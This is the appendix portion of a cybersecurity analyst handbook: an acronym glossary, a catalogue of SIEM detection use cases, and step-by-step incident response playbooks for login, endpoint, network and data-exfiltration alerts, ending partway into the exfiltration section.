MASTERING CYBERSECURITY ANALYSIS

A COMPLETE HANDBOOK FOR FUTURE ANALYSTS

IZZMIER IZZUDDIN ZULKEPLI

APPENDICES

APPENDIX A: CYBERSECURITY ACRONYMS AND ABBREVIATIONS

This appendix lists common acronyms and abbreviations used in the cybersecurity field. It serves as a quick reference for analysts to understand technical jargon and improve communication clarity.

A.1 General Cybersecurity Terms

- APT: Advanced Persistent Threat
- CIA: Confidentiality, Integrity, Availability
- CTI: Cyber Threat Intelligence
- DLP: Data Loss Prevention
- IDS: Intrusion Detection System
- IPS: Intrusion Prevention System
- IoC: Indicator of Compromise
- IoT: Internet of Things
- IR: Incident Response
- SOC: Security Operations Centre
- TTP: Tactics, Techniques and Procedures

A.2 Network Security

- ACL: Access Control List
- ARP: Address Resolution Protocol
- DNS: Domain Name System
- IP: Internet Protocol
- NAT: Network Address Translation
- TLS: Transport Layer Security
- VPN: Virtual Private Network
- WAF: Web Application Firewall

A.3 SIEM and Log Management

- CEF: Common Event Format
- ELK: Elasticsearch, Logstash, Kibana
- JSON: JavaScript Object Notation
- KQL: Kusto Query Language
- QR: Quick Response (in QRadar context, often used for log format)
- SIEM: Security Information and Event Management
- UEBA: User and Entity Behaviour Analytics

A.4 Malware and Threats

- C2: Command and Control
- DDoS: Distributed Denial of Service
- IoC: Indicator of Compromise
- MITM: Man-in-the-Middle (Attack)
- RAT: Remote Access Trojan
- RFI: Remote File Inclusion
- SQLi: SQL Injection
- XSS: Cross-Site Scripting

A.5 Certifications

- CEH: Certified Ethical Hacker
- CISSP: Certified Information Systems Security Professional
- CYSA+: Cybersecurity Analyst Certification
- GCIA: GIAC Certified Intrusion Analyst
- OSCP: Offensive Security Certified Professional
- SEC+: CompTIA Security+

A.6 Compliance and Frameworks

- GDPR: General Data Protection Regulation
- HIPAA: Health Insurance Portability and Accountability Act
- ISO: International Organisation for Standardisation
- NIST: National Institute of Standards and Technology
- PCI DSS: Payment Card Industry Data Security Standard
- SOX: Sarbanes-Oxley Act

A.7 Tools and Technologies

- AV: Antivirus
- EDR: Endpoint Detection and Response
- FIM: File Integrity Monitoring
- IDS: Intrusion Detection System
- IPS: Intrusion Prevention System
- OSINT: Open-Source Intelligence
- SIEM: Security Information and Event Management
- SOAR: Security Orchestration, Automation and Response

A.8 Organisations and Standards Bodies

- CISA: Cybersecurity and Infrastructure Security Agency
- CERT: Computer Emergency Response Team
- CSIRT: Computer Security Incident Response Team
- OWASP: Open Web Application Security Project

A.9 Cloud Security

- CASB: Cloud Access Security Broker
- CSP: Cloud Service Provider
- IAM: Identity and Access Management

- SASE: Secure Access Service Edge
- SDP: Software-Defined Perimeter
- IaaS: Infrastructure as a Service
- SaaS: Software as a Service
- PaaS: Platform as a Service

A.10 Emerging Technologies and Trends

- AI: Artificial Intelligence
- ML: Machine Learning
- OT: Operational Technology
- IoT: Internet of Things
- 5G: Fifth-Generation Mobile Networks
- QKD: Quantum Key Distribution
- ZTA: Zero Trust Architecture
- RPA: Robotic Process Automation
- EDR: Endpoint Detection and Response
- SOAR: Security Orchestration, Automation and Response

APPENDIX B: SIEM USE CASES

A Security Information and Event Management (SIEM) system is a critical tool in any Security Operations Centre (SOC). SIEM solutions aggregate, analyse and correlate data from various sources to detect and respond to security threats. This appendix provides an overview of SIEM use cases, offering practical examples that analysts can implement and reference to enhance their threat detection and incident response capabilities.

B.1 Authentication and Access Management

- Brute Force Detection
- Failed Login Attempts Threshold
- Privilege Escalation Attempt
- Privileged Account Login Outside Business Hours
- Unauthorised Access Attempt
- Credential Dumping Detection
- Unusual Login Location
- Multiple User Account Lockouts
- Unauthorised SSH Key Generation
- Suspicious Cross-Domain Authentication Attempts

B.2 Endpoint Threat Monitoring

- Suspicious File Download
- Suspicious Process Execution
- Suspicious Registry Key Modification
- Suspicious ZIP/RAR File Creation
- New Executable in Startup Folder
- Rootkit Detection on Endpoints
- Suspicious Binary Payload Detection in Network Streams
- Hidden File Creation on Endpoints

- Unusual Binary Execution from Temp Directory

B.3 Network Security

- Suspicious Network Activity
- Port Scanning Activity
- Command and Control (C2) Traffic Detection
- DNS Tunneling Detection
- Detection of Network Scanning Tools
- Unusual Traffic to Geographically Rare Locations
- Detection of Packet Fragmentation Attacks
- Suspicious SMB Traffic to Non-Standard Ports

B.4 Data Exfiltration and Insider Threats

- Data Exfiltration Detection
- Excessive File Access by a Single User
- Suspicious USB Device Activity
- Data Uploaded to Unauthorised Cloud Storage
- Suspicious Use of DNS for Data Exfiltration
- Suspicious File Replication to External Drives
- Suspicious Use of Email Auto-Forwarding Rules

B.5 Malware and Exploit Detection

- Malware Detection
- Ransomware Activity Detection
- Exploit Attempt Detection
- Exploit Kit Activity Detection
- Detection of Web Shell Installation

- Detection of Suspicious Browser Extensions
- Detection of Suspicious Service Account Password Changes

B.6 Policy Violations and Misuse

- Unauthorised Configuration Change
- Unauthorised File Transfers via Secure Copy Protocol (SCP)
- Unauthorised Access to Backup Files
- Abuse of Remote Management Tools
- Excessive Log Clearing or Modification Attempts
- Unauthorised Database Schema Changes

B.7 Anomaly Detection and Behavioural Analytics

- Anomalous User Behavior
- Anomalous Device Connection in Network
- Abnormal SSL/TLS Handshake Behavior
- Abnormal Account Lockout Frequency
- Abnormal Credential Usage Across Multiple Endpoints
- Unusual Use of Base64 Encoding in Commands

B.8 Application and Web Security

- Phishing Email Detection
- Detection of Phishing URLs in Email Body or Attachments
- Email Spoofing Detection
- SQL Injection Attack Attempt
- Suspicious HTTP 500/400 Error Spike
- Detection of Hidden Root Certificates

B.9 Cloud and IoT Security

- Cloud Storage Upload Spikes
- Unauthorised Cloud Account Login
- Excessive Changes to Security Group Rules in Cloud Environments
- Detection of Unauthorised IoT Device Registrations
- Detection of Abnormal Device Enrollment in MDM

B.10 Infrastructure and Configuration Monitoring

- Firewall Policy Change Detection
- Detection of Unauthorised Modifications in Server Configurations
- Unauthorised Modification of Active Directory Group Memberships
- Detection of Deprecated Protocol Usage

B.11 Incident Response and Forensics

- File Integrity Monitoring
- Tampering with SIEM or Security Logs
- Endpoint Isolation Trigger
- Abnormal SSL Certificate Validity Changes
- Suspicious Scheduled Task Creation

B.12 Other Threats

- Detection of Rogue DHCP Server
- Suspicious Use of Debugging Tools
- Suspicious Commands Executed via Command Line
- Detection of Unauthorised Remote Access Tools (RATs)

APPENDIX C: INCIDENT RESPONSE PLAYBOOKS

Incident response playbooks are structured procedures designed to guide security teams in addressing and mitigating specific threats. These playbooks streamline responses by providing clear, actionable steps that align with identified use cases. This appendix offers simulated scenarios and response plans to address critical incidents detected through authentication and access management use cases.

C.1 Authentication and Access Management

C.1.1 Use Case: Brute Force Detection

Scenario: The SIEM detects multiple failed login attempts from a single IP address targeting multiple accounts over a short time frame.

Response Playbook:

1. Detection and Verification:
    - Confirm the alert by analysing the logs in the SIEM. Look for patterns such as repeated login attempts from the same IP.
    - Cross-check the flagged IP against threat intelligence databases for known malicious actors.
2. Containment:
    - Block the source IP at the firewall or endpoint security level.
    - Temporarily disable the targeted accounts to prevent unauthorised access.
3. Investigation:
    - Identify the affected accounts and their access levels.
    - Review the logs for successful login attempts from the flagged IP or suspicious behavior preceding the detection.
4. Eradication:
    - If malware or a compromised system is detected, isolate the impacted host and initiate forensic analysis.
    - Update firewall, IDS/IPS and endpoint protection rules based on findings.
5. Recovery:

- Reinstate disabled accounts after ensuring no compromise occurred.
- Require a password reset for affected accounts with strong password policies.

6. Post-Incident Actions:
    - Perform a root cause analysis to understand how the attacker identified the target accounts.
    - Provide additional training to employees on phishing and credential security.

C.1.2 Use Case: Failed Login Attempts Threshold

Scenario: An unusually high number of failed login attempts are observed across several systems in a short period.

Response Playbook:

1. Detection and Verification:
    - Validate the threshold breach by reviewing SIEM alerts and correlating the events across affected systems.
    - Confirm whether the activity aligns with known legitimate use cases (e.g., scheduled testing).
2. Containment:
    - Apply rate-limiting measures or temporary account lockouts for accounts under attack.
    - Notify the affected users and stakeholders about the incident.
3. Investigation:
    - Correlate timestamps and source IPs of the failed login attempts.
    - Identify patterns such as common usernames, geolocations or suspected bot activity.
4. Eradication:
    - Implement enhanced login protection, such as CAPTCHA or multi-factor authentication (MFA).
    - Notify IT teams to patch any vulnerabilities that may facilitate login enumeration.
5. Recovery:

- Reinforce policies against brute force attempts by optimising password requirements and lockout settings.
- Restore normal user access after securing affected accounts.

6. Post-Incident Actions:
   - Document the findings and update monitoring rules to detect similar incidents.
   - Share lessons learned with the security team.

C.1.3 Use Case: Privilege Escalation Attempt

Scenario: An alert is triggered by a system or application reporting an attempt to gain elevated privileges.

Response Playbook:

1. Detection and Verification:
   - Verify the alert by examining logs for commands, scripts or actions indicative of privilege escalation.
   - Identify the user or process involved and review their activity preceding the alert.
2. Containment:
   - Suspend the affected account or process to prevent further escalation attempts.
   - Quarantine the endpoint or host if signs of compromise are present.
3. Investigation:
   - Analyse logs to determine the origin and intent of the privilege escalation.
   - Identify any successful escalations and their resulting actions.
4. Eradication:
   - Remove malicious code or disable backdoors enabling privilege escalation.
   - Patch vulnerabilities and misconfigurations exploited during the attempt.
5. Recovery:
   - Reinstate the system to its normal state with secured configurations.
   - Reset credentials and reassign access permissions where necessary.

6. Post-Incident Actions:
    - Conduct a thorough review of access controls and ensure least privilege principles are applied.
    - Update the SIEM and monitoring tools to detect similar future attempts.

C.1.4 Use Case: Privilege Escalation Attempt

Scenario: An alert is triggered by a system or application reporting an attempt to gain elevated privileges.

Response Playbook:

1. Detection and Verification:
    - Verify the alert by examining logs for commands, scripts or actions indicative of privilege escalation.
    - Identify the user or process involved and review their activity preceding the alert.
2. Containment:
    - Suspend the affected account or process to prevent further escalation attempts.
    - Quarantine the endpoint or host if signs of compromise are present.
3. Investigation:
    - Analyse logs to determine the origin and intent of the privilege escalation.
    - Identify any successful escalations and their resulting actions.
4. Eradication:
    - Remove malicious code or disable backdoors enabling privilege escalation.
    - Patch vulnerabilities and misconfigurations exploited during the attempt.
5. Recovery:
    - Reinstate the system to its normal state with secured configurations.
    - Reset credentials and reassign access permissions where necessary.
6. Post-Incident Actions:
    - Conduct a thorough review of access controls and ensure least privilege principles are applied.

- Update the SIEM and monitoring tools to detect similar future attempts.

C.1.5 Use Case: Privileged Account Login Outside Business Hours

Scenario: A privileged account is logged into a critical system outside predefined business hours.

Response Playbook:

1. Detection and Verification:
   - Verify the alert by checking logs for login timestamps and correlating with user activity.
   - Cross-check with scheduled maintenance or known exceptions.
2. Containment:
   - Suspend the active session of the privileged account.
   - Notify the account owner and relevant stakeholders immediately.
3. Investigation:
   - Review historical logs for similar occurrences with the same account.
   - Determine the IP address, device and location associated with the login.
4. Eradication:
   - Change the account's credentials and apply additional security measures, such as multi-factor authentication (MFA).
   - Patch systems to mitigate vulnerabilities exploited for unauthorised access.
5. Recovery:
   - Re-enable account access only after verifying no compromise occurred.
   - Implement alerting thresholds for privileged account activity.
6. Post-Incident Actions:
   - Conduct a review of privileged account usage policies.
   - Provide additional training to account holders on secure practices.

C.1.6 Use Case: Unauthorised Access Attempt

Scenario: A user or process attempts to access a restricted system or file without sufficient permissions.

Response Playbook:

1. Detection and Verification:
   - Confirm the unauthorised attempt by reviewing logs for access denied events.
   - Identify the source and intent behind the attempt.
2. Containment:
   - Restrict further access attempts from the identified source.
   - Notify the system owner and security team.
3. Investigation:
   - Determine whether the attempt was malicious, accidental or due to misconfiguration.
   - Analyse related logs to identify associated user or system activity.
4. Eradication:
   - Fix any configuration issues causing the unauthorised attempt.
   - Terminate any rogue processes identified.
5. Recovery:
   - Reinstate normal system functionality after confirming security.
   - Enhance access controls for sensitive systems.
6. Post-Incident Actions:
   - Update monitoring rules to detect similar incidents.
   - Conduct user awareness sessions on access policies.

C.1.7 Use Case: Credential Dumping Detection

Scenario: Detection of tools or processes indicative of credential dumping (e.g., Mimikatz).

Response Playbook:

1. Detection and Verification:

- Confirm the alert by identifying suspicious processes or memory access events.
- Cross-reference with threat intelligence to verify tools or techniques used.

2. Containment:
   - Isolate the compromised system from the network.
   - Disable the affected user account to prevent further misuse.
3. Investigation:
   - Examine the host for artefacts such as dumped credentials or malware.
   - Identify lateral movement attempts and affected accounts.
4. Eradication:
   - Remove malicious tools and scripts from the compromised system.
   - Patch vulnerabilities exploited for credential dumping.
5. Recovery:
   - Reset passwords for affected accounts.
   - Restore the system with clean backups.
6. Post-Incident Actions:
   - Conduct a post-incident review to improve endpoint monitoring.
   - Deploy endpoint detection and response (EDR) solutions.

C.1.7 Use Case: Unusual Login Location

Scenario: A user logs in from a location outside their typical geographic pattern.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by checking if the location corresponds to legitimate travel or remote work.
   - Use threat intelligence to assess the risk of the source location.
2. Containment:
   - Suspend the account or session involved in the suspicious login.

- Notify the user and security team.

3. Investigation:
    - Review the user's activity and correlate with other suspicious events.
    - Check for IP anomalies such as VPN usage or proxy servers.
4. Eradication:
    - Remove any unauthorised access channels or credentials.
    - Address misconfigurations enabling abnormal login behavior.
5. Recovery:
    - Reinstate account access after confirming security.
    - Enhance geo-restriction policies where applicable.
6. Post-Incident Actions:
    - Introduce adaptive authentication to handle geographic deviations.
    - Update user training on travel notifications and remote access best practices.

C.1.8 Use Case: Multiple User Account Lockouts

Scenario: Several user accounts are locked out within a short timeframe, indicating possible brute force or misconfiguration.

Response Playbook:

1. Detection and Verification:
    - Verify the alert by correlating lockout events in the SIEM.
    - Determine the source of failed login attempts.
2. Containment:
    - Block the source IP or system generating the lockouts.
    - Notify affected users and reset their accounts.
3. Investigation:
    - Analyse logs to determine whether the lockouts were malicious or accidental.
    - Look for related indicators, such as phishing attempts or credential stuffing.

4. Eradication:
   - Remove malicious IPs or systems from the network.
   - Fix any account or authentication policy misconfigurations.
5. Recovery:
   - Reinstate locked accounts after resetting credentials.
   - Ensure proper configurations to minimise future lockouts.
6. Post-Incident Actions:
   - Update monitoring rules to detect similar patterns.
   - Conduct phishing simulations if related to user credential compromise.

C.1.9 Use Case: Unauthorised SSH Key Generation

Scenario: An unauthorised SSH key is generated on a critical system, suggesting potential persistence by an attacker.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by confirming the creation of the unauthorised key.
   - Identify the user or process responsible for generating the key.
2. Containment:
   - Remove the unauthorised SSH key from the affected system.
   - Isolate the system from the network to prevent further misuse.
3. Investigation:
   - Determine the origin and intent of the SSH key generation.
   - Look for other indicators of compromise or persistence mechanisms.
4. Eradication:
   - Close exploited vulnerabilities enabling unauthorised key generation.
   - Remove any related malware or backdoors.
5. Recovery:

- Regenerate valid SSH keys with improved security.
- Reinstate normal system access controls.

6. Post-Incident Actions:
   - Update key management policies and procedures.
   - Implement key monitoring and alerting.

C.1.10 Use Case: Suspicious Cross-Domain Authentication Attempts

Scenario: Unusual cross-domain authentication activity is detected, potentially indicating lateral movement.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by analysing logs for unusual cross-domain authentication patterns.
   - Identify the source and destination domains involved.
2. Containment:
   - Restrict cross-domain access for the affected accounts.
   - Notify domain administrators of the suspected compromise.
3. Investigation:
   - Investigate the authentication path and associated accounts.
   - Look for signs of credential compromise or unauthorised access attempts.
4. Eradication:
   - Remove unauthorised access routes between domains.
   - Address configuration weaknesses enabling lateral movement.
5. Recovery:
   - Reinforce domain trust policies and authentication settings.
   - Reset affected credentials and monitor activity closely.
6. Post-Incident Actions:

- Implement additional cross-domain monitoring and alerting.
- Review and optimise domain segmentation and access policies.

C.2 Endpoint Threat Monitoring

C.2.1 Use Case: Suspicious File Download

Scenario: A potentially malicious file is downloaded onto an endpoint.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing logs and hash values of the file.
    - Cross-check with threat intelligence for known malware signatures.
2. Containment:
    - Quarantine the affected endpoint to prevent execution or lateral movement.
    - Block further downloads from the associated URL or IP.
3. Investigation:
    - Analyse the downloaded file in a sandbox environment.
    - Identify any related activity, such as email phishing or drive-by downloads.
4. Eradication:
    - Remove the file from the endpoint.
    - Patch vulnerabilities that allowed the download.
5. Recovery:
    - Reinforce endpoint protection and web filtering policies.
    - Educate users on safe browsing and download practices.
6. Post-Incident Actions:
    - Update threat intelligence feeds with IOCs.
    - Review and enhance monitoring rules for similar activities.

C.2.2 Use Case: Suspicious Process Execution

Scenario: An unknown or potentially malicious process is detected running on an endpoint.

Response Playbook:

1. Detection and Verification:
   - Confirm the process by cross-referencing its hash with known malware.
   - Identify the parent process and its origin.
2. Containment:
   - Kill the suspicious process to prevent further harm.
   - Isolate the endpoint from the network.
3. Investigation:
   - Analyse the process and its behavior, including command-line arguments.
   - Look for additional signs of compromise on the endpoint.
4. Eradication:
   - Remove the executable and associated artefacts.
   - Address vulnerabilities that allowed the process to execute.
5. Recovery:
   - Re-enable the endpoint in the network after thorough checks.
   - Strengthen endpoint detection capabilities.
6. Post-Incident Actions:
   - Refine alerting rules for suspicious processes.
   - Conduct periodic threat-hunting exercises.

C.2.3 Use Case: Suspicious Registry Key Modification

Scenario: An unexpected or malicious registry key modification is detected.

Response Playbook:

1. Detection and Verification:

- Validate the alert by identifying the process or actor modifying the registry.
- Check the registry key’s purpose and associated risks.

2. Containment:
   - Stop the process modifying the registry key.
   - Isolate the affected system from the network.
3. Investigation:
   - Analyse the modification for persistence or privilege escalation intent.
   - Examine historical logs for similar modifications.
4. Eradication:
   - Restore the registry key to its original state.
   - Remove any malware responsible for the modification.
5. Recovery:
   - Strengthen monitoring for registry changes.
   - Reassess endpoint hardening measures.
6. Post-Incident Actions:
   - Update registry protection mechanisms.
   - Train users on recognising endpoint compromise symptoms.

C.2.4 Use Case: Suspicious ZIP/RAR File Creation

Scenario: An unusual archive file is created on an endpoint, potentially for exfiltration.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by analysing the archive’s contents and creation process.
   - Identify the source and intent of the archive creation.
2. Containment:
   - Quarantine the archive to prevent exfiltration.

    - Suspend the process that created the archive.

3. Investigation:
    - Check for data inside the archive and its destination.
    - Look for related IOCs or patterns of insider threat.
4. Eradication:
    - Remove unauthorised archive files and related processes.
    - Apply DLP (Data Loss Prevention) policies to mitigate future risks.
5. Recovery:
    - Reinforce endpoint activity monitoring and network restrictions.
    - Conduct access reviews for sensitive data.
6. Post-Incident Actions:
    - Update policies to limit unauthorised archive creation.
    - Provide training on data handling and export policies.

C.2.5 Use Case: New Executable in Startup Folder

Scenario: A suspicious executable is placed in the startup folder, indicating potential persistence.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by confirming the executable's origin.
    - Check its hash against known malicious files.
2. Containment:
    - Remove the executable from the startup folder.
    - Isolate the system to prevent additional persistence mechanisms.
3. Investigation:
    - Analyse the executable and its behavior.
    - Look for other persistence methods or backdoors.

4. Eradication:
    - Clean the system of associated artefacts.
    - Patch vulnerabilities allowing file placement.
5. Recovery:
    - Restore the system to normal operation.
    - Enhance logging for startup folder activities.
6. Post-Incident Actions:
    - Improve user and system authentication mechanisms.
    - Include startup folder monitoring in regular assessments.

C.2.6 Use Case: Rootkit Detection on Endpoints

Scenario: A rootkit is detected, potentially compromising an endpoint at a kernel level.

Response Playbook:

1. Detection and Verification:
    - Confirm the alert by using specialised rootkit detection tools.
    - Identify the rootkit's entry point and installation method.
2. Containment:
    - Disconnect the endpoint from the network immediately.
    - Avoid interacting with the system to prevent triggering rootkit responses.
3. Investigation:
    - Use forensic tools to analyse the rootkit and its behavior.
    - Identify additional compromises or payloads deployed by the rootkit.
4. Eradication:
    - Reimage the system to ensure complete rootkit removal.
    - Patch vulnerabilities exploited for installation.
5. Recovery:

- Restore the system with a known clean backup.
- Strengthen system defenses with endpoint hardening.

6. Post-Incident Actions:
   - Enhance threat intelligence for advanced malware.
   - Conduct regular scans using rootkit detection tools.

C.2.7 Use Case: Suspicious Binary Payload Detection in Network Streams

Scenario: A binary payload indicative of malware is detected in network traffic.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using packet capture (PCAP) analysis tools.
   - Correlate with threat intelligence for known payload signatures.
2. Containment:
   - Block the source and destination of the payload.
   - Quarantine the affected systems.
3. Investigation:
   - Analyse payload behavior in a sandbox.
   - Trace its path through the network for further infections.
4. Eradication:
   - Remove infected files and address vulnerabilities.
   - Update network security devices with payload indicators.
5. Recovery:
   - Reinforce network segmentation and traffic monitoring.
   - Verify all systems are clean before reconnecting.
6. Post-Incident Actions:
   - Improve rules for IDS/IPS systems.

- Train analysts on payload analysis techniques.

C.2.8 Use Case: Hidden File Creation on Endpoints

Scenario: A file is created with hidden attributes, often a sign of malware or persistence.

Response Playbook:

1. Detection and Verification:
    - Confirm the alert by identifying the file and its purpose.
    - Check its location and associated processes.
2. Containment:
    - Isolate the endpoint from the network.
    - Block further changes to the file system.
3. Investigation:
    - Analyse the file for malware behavior and artefacts.
    - Check for other hidden files or persistence mechanisms.
4. Eradication:
    - Remove the file and associated malware.
    - Address weaknesses allowing hidden file creation.
5. Recovery:
    - Reinstate normal file system monitoring.
    - Strengthen endpoint protection policies.
6. Post-Incident Actions:
    - Update alert rules to flag suspicious file attributes.
    - Train users on endpoint compromise indicators.

C.2.9 Use Case: Unusual Binary Execution from Temp Directory

Scenario: A binary executes from a temporary directory, potentially indicating malware activity.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing the binary and its behavior.
   - Identify the process responsible for placing it in the temp directory.
2. Containment:
   - Stop the process and quarantine the endpoint.
   - Block related files or domains.
3. Investigation:
   - Examine the binary for malware signatures and IOCs.
   - Look for similar occurrences across the environment.
4. Eradication:
   - Remove the binary and related artefacts.
   - Patch vulnerabilities exploited for execution.
5. Recovery:
   - Restore the endpoint with clean backups.
   - Improve monitoring for temp directory activities.
6. Post-Incident Actions:
   - Refine endpoint rules to flag unusual executions.
   - Educate users about safe file handling practices.

C.3 Network Security

C.3.1 Use Case: Suspicious Network Activity

Scenario: Unusual or anomalous network activity is detected, indicating potential malicious behavior.

Response Playbook:

1. Detection and Verification:

- Validate the alert by analysing network logs and flow data.
- Check for known IOCs (Indicators of Compromise) in the activity.

2. Containment:
   - Block or limit traffic from the suspicious source or to the target.
   - Quarantine affected systems to prevent further impact.
3. Investigation:
   - Examine the context of the activity, such as protocols used and traffic volume.
   - Correlate with user and system behavior to identify anomalies.
4. Eradication:
   - Eliminate any malicious processes or files on the affected systems.
   - Patch vulnerabilities exploited for network misuse.
5. Recovery:
   - Restore normal network operations after confirming the threat is mitigated.
   - Enhance network segmentation and monitoring.
6. Post-Incident Actions:
   - Update network security rules to detect similar behavior.
   - Provide training on recognising suspicious network patterns.

C.3.2 Use Case: Port Scanning Activity

Scenario: A host performs port scanning, potentially probing for vulnerabilities.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by reviewing firewall and IDS/IPS logs.
   - Identify the source IP and type of scan performed (e.g., SYN, ACK, UDP).
2. Containment:
   - Block the scanning host at the network perimeter.

- Quarantine the device if it is within the network.

3. Investigation:
    - Determine whether the scanning is malicious or authorised.
    - Analyse the target of the scan for any compromise.
4. Eradication:
    - Remove any malicious tools used for scanning.
    - Address weaknesses identified by the scan.
5. Recovery:
    - Implement controls to prevent unauthorised scanning.
    - Test systems for vulnerabilities exploited during the scan.
6. Post-Incident Actions:
    - Update firewall and IDS/IPS rules to detect scans more effectively.
    - Conduct regular network vulnerability assessments.

C.3.3 Use Case: Command and Control (C2) Traffic Detection

Scenario: Traffic indicative of communication with a known or suspected C2 server is detected.

Response Playbook:

1. Detection and Verification:
    - Validate the alert using threat intelligence feeds for known C2 domains or IPs.
    - Analyse network traffic patterns for suspicious communication.
2. Containment:
    - Block traffic to and from the identified C2 server.
    - Quarantine affected endpoints.
3. Investigation:
    - Identify malware or processes facilitating the C2 communication.
    - Check for lateral movement or data exfiltration activities.

4. Eradication:
   - Remove malware and associated artefacts.
   - Patch vulnerabilities enabling C2 connections.
5. Recovery:
   - Verify that no further communication attempts occur.
   - Enhance threat intelligence for updated C2 indicators.
6. Post-Incident Actions:
   - Review and improve egress filtering policies.
   - Train analysts to detect emerging C2 techniques.

C.3.4 Use Case: DNS Tunneling Detection

Scenario: DNS queries are used to exfiltrate data or communicate with malicious actors.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing DNS logs for unusual query patterns.
   - Check for high volumes of requests or encoded data in queries.
2. Containment:
   - Block access to suspicious domains.
   - Redirect DNS queries to a secure DNS resolver.
3. Investigation:
   - Identify the source of the DNS tunneling activity.
   - Analyse the nature of data being exfiltrated.
4. Eradication:
   - Remove tools or malware enabling DNS tunneling.
   - Address misconfigurations in DNS servers.
5. Recovery:

   - Strengthen DNS monitoring and apply DNSSEC.
   - Reinforce endpoint and network protections.
6. Post-Incident Actions:
   - Update threat detection rules for DNS misuse.
   - Educate users on secure DNS practices.

C.3.5 Use Case: Detection of Network Scanning Tools

Scenario: Tools such as Nmap or Nessus are detected performing scans in the network.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by correlating with logs from firewalls and endpoint security.
   - Identify the tool and its originating source.
2. Containment:
   - Block the scanning host from accessing the network.
   - Isolate affected systems.
3. Investigation:
   - Determine whether the scan was authorised or malicious.
   - Review the target for any signs of compromise.
4. Eradication:
   - Remove unauthorised scanning tools.
   - Apply controls to prevent future unauthorised scans.
5. Recovery:
   - Reinforce network segmentation and scanning policies.
   - Test systems for potential vulnerabilities exposed by the scan.
6. Post-Incident Actions:
   - Enhance detection rules for scanning tools.

  - Provide training on the risks of unauthorised scans.

C.3.6 Use Case: Unusual Traffic to Geographically Rare Locations

Scenario: Network traffic is detected to locations not typically associated with business operations.

Response Playbook:

1. Detection and Verification:
    - Validate the alert by reviewing geolocation data and traffic logs.
    - Check if the destination is linked to malicious activities.
2. Containment:
    - Block traffic to the suspicious locations.
    - Investigate the source of the traffic within the network.
3. Investigation:
    - Determine the intent behind the traffic.
    - Analyse logs for additional anomalies.
4. Eradication:
    - Remove processes or malware causing the traffic.
    - Address weaknesses in firewall or proxy settings.
5. Recovery:
    - Re-establish normal network communication after verification.
    - Enhance geo-based filtering policies.
6. Post-Incident Actions:
    - Update threat intelligence for emerging malicious geolocations.
    - Train users on acceptable internet usage.

C.3.7 Use Case: Detection of Packet Fragmentation Attacks

Scenario: Malicious actors use fragmented packets to evade detection or overwhelm systems.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing packet captures.
   - Check for unusual fragmentation patterns or payloads.
2. Containment:
   - Block fragmented packets at the perimeter firewall.
   - Quarantine affected systems for deeper analysis.
3. Investigation:
   - Identify the source of the attack and its intent.
   - Check for other network-layer anomalies.
4. Eradication:
   - Mitigate vulnerabilities allowing fragmented packets.
   - Apply patches to network devices.
5. Recovery:
   - Reinforce protections against network-layer attacks.
   - Restore normal operations after confirming safety.
6. Post-Incident Actions:
   - Update intrusion detection/prevention rules.
   - Provide training on network attack identification.

C.3.8 Use Case: Suspicious SMB Traffic to Non-Standard Ports

Scenario: Unexpected SMB (Server Message Block) traffic is detected on unusual ports.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by analysing SMB traffic patterns.
   - Cross-check with legitimate use cases and known IOCs.

2. Containment:
   - Block the suspicious SMB traffic.
   - Quarantine the affected systems.
3. Investigation:
   - Identify the source and destination of the traffic.
   - Analyse the payload for malicious intent.
4. Eradication:
   - Remove any malware leveraging SMB vulnerabilities.
   - Apply patches to close SMB-related exploits.
5. Recovery:
   - Verify SMB traffic patterns return to normal.
   - Strengthen monitoring of non-standard ports.
6. Post-Incident Actions:
   - Update security policies to restrict SMB use.
   - Conduct regular SMB vulnerability assessments.

C.4 Data Exfiltration and Insider Threats

C.4.1 Use Case: Data Exfiltration Detection

Scenario: Large amounts of data are transferred outside the organisation, potentially indicating a data breach.

Response Playbook:

1. Detection and Verification:
   - Validate the alert by analysing data transfer logs and monitoring unusual bandwidth usage.
   - Correlate with known IOCs or suspicious user activity.
2. Containment:

- Block the data transfer and restrict the source user’s access.
- Quarantine the system involved in the transfer.

3. Investigation:
   - Identify the data being exfiltrated and the destination.
   - Examine the system and user activities leading to the transfer.
4. Eradication:
   - Remove malicious tools or scripts enabling the exfiltration.
   - Apply security patches and strengthen data protection controls.
5. Recovery:
   - Restore normal access for users and systems after verification.
   - Reevaluate and secure data access policies.
6. Post-Incident Actions:
   - Update detection rules for abnormal data transfer.
   - Conduct a data security awareness session for employees.

C.4.2 Use Case: Excessive File Access by a Single User

Scenario: A user accesses an unusually high number of files, possibly indicating insider threats or malware activity.

Response Playbook:

1. Detection and Verification:
   - Validate the alert using file access logs and user activity reports.
   - Determine whether access aligns with the user’s role and responsibilities.
2. Containment:
   - Suspend the user’s access privileges temporarily.
   - Isolate the system where the activity originated.
3. Investigation:
   - Review the files accessed for sensitive or critical data.

   - Interview the user if the activity appears intentional.

4. Eradication:
   - Remove unauthorised tools or malware involved in file access.
   - Address access control policy gaps.
5. Recovery:
   - Reinstate access after resolving the issue.
   - Implement monitoring tools to detect similar activities.
6. Post-Incident Actions:
   - Update user behavior analytics for better detection.
   - Provide training on acceptable file access practices.

C.4.3 Use Case: Suspicious USB Device Activity

Scenario: A USB device is connected and abnormal activity is detected, such as file transfers or malware execution.

Response Playbook:

1. Detection and Verification:
   - Confirm the alert by analysing USB device logs.
   - Identify the device and files involved.
2. Containment:
   - Block further access to the USB device.
   - Quarantine the affected system.
3. Investigation:
   - Analyse files transferred to and from the USB device.
   - Check for malware or unauthorised use.
4. Eradication:
   - Remove malicious files and scripts.
   - Disable the use of unapproved USB devices.

5. Recovery:
    - Reinforce policies for USB device usage.
    - Apply endpoint protections to block unauthorised devices.
6. Post-Incident Actions:
    - Update USB monitoring policies.
    - Educate employees on the risks of unauthorised USB use.

C.4.4 Use Case: Data Uploaded to Unauthorised Cloud Storage

Scenario: Data is transferred to a cloud storage platform that is not approved by the organisation.

Response Playbook:

